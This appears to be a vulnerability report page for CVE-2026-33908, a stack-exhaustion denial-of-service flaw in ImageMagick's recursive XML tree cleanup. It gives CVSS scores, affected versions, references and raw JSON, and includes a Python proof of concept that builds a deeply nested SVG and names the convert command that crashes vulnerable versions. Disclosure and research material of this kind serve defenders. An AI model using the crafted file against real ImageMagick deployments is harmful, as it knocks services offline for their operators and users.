Security Vulnerability Report
中文
CVE-2026-33908 CVSS 7.5 HIGH

CVE-2026-33908

Published: 2026-04-13 22:16:29
Last Modified: 2026-04-17 20:45:45

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, Magick frees the memory of the XML tree via the `DestroyXMLTree()` function; however, this process is executed recursively with no depth limit imposed. When Magick processes an XML file with deeply nested structures, it will exhaust the stack memory, resulting in a Denial of Service (DoS) attack. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-19
ImageMagick < 6.9.13-44

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os # PoC for CVE-2026-33908: Stack Exhaustion via Deeply Nested XML # This script generates a malicious SVG file with deeply nested tags. def generate_poc_xml(filename, depth): """ Generates an XML file with nested elements to trigger stack overflow. """ # Start opening tags open_tags = [] for i in range(depth): open_tags.append(f"<tag{i}>") # Start closing tags (reverse order) close_tags = [] for i in range(depth - 1, -1, -1): close_tags.append(f"</tag{i}>") xml_content = f"""<svg version="1.1"> {''.join(open_tags)} <payload>Stack Exhaustion</payload> {''.join(close_tags)} </svg>""" with open(filename, "w") as f: f.write(xml_content) print(f"[+] Generated {filename} with nesting depth of {depth}") if __name__ == "__main__": # A depth of 10000 is typically sufficient to exhaust default stack limits poc_file = "cve_2026_33908_poc.svg" generate_poc_xml(poc_file, depth=10000) # Simulation of exploit execution print(f"[+] Usage: convert {poc_file} output.png") print("[+] Running this against a vulnerable ImageMagick version will cause a crash (Segmentation Fault).")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33908", "sourceIdentifier": "[email protected]", "published": "2026-04-13T22:16:28.997", "lastModified": "2026-04-17T20:45:45.227", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. In versions below both 7.1.2-19 and 6.9.13-44, Magick frees the memory of the XML tree via the `DestroyXMLTree()` function; however, this process is executed recursively with no depth limit imposed. When Magick processes an XML file with deeply nested structures, it will exhaust the stack memory, resulting in a Denial of Service (DoS) attack. This issue has been fixed in versions 6.9.13-44 and 7.1.2-19."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-674"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.9.13-44", "matchCriteriaId": "FEBAB6BF-AFEC-4D29-95E8-88C4585C9896"}, {"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0-0", "versionEndExcluding": "7.1.2-19", "matchCriteriaId": "80D20334-B25F-479D-A411-DBD1364D303C"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/ccdc01180276aa2cb3d4a32a611aa4f417061cd8", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-fwvm-ggf6-2p4x", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}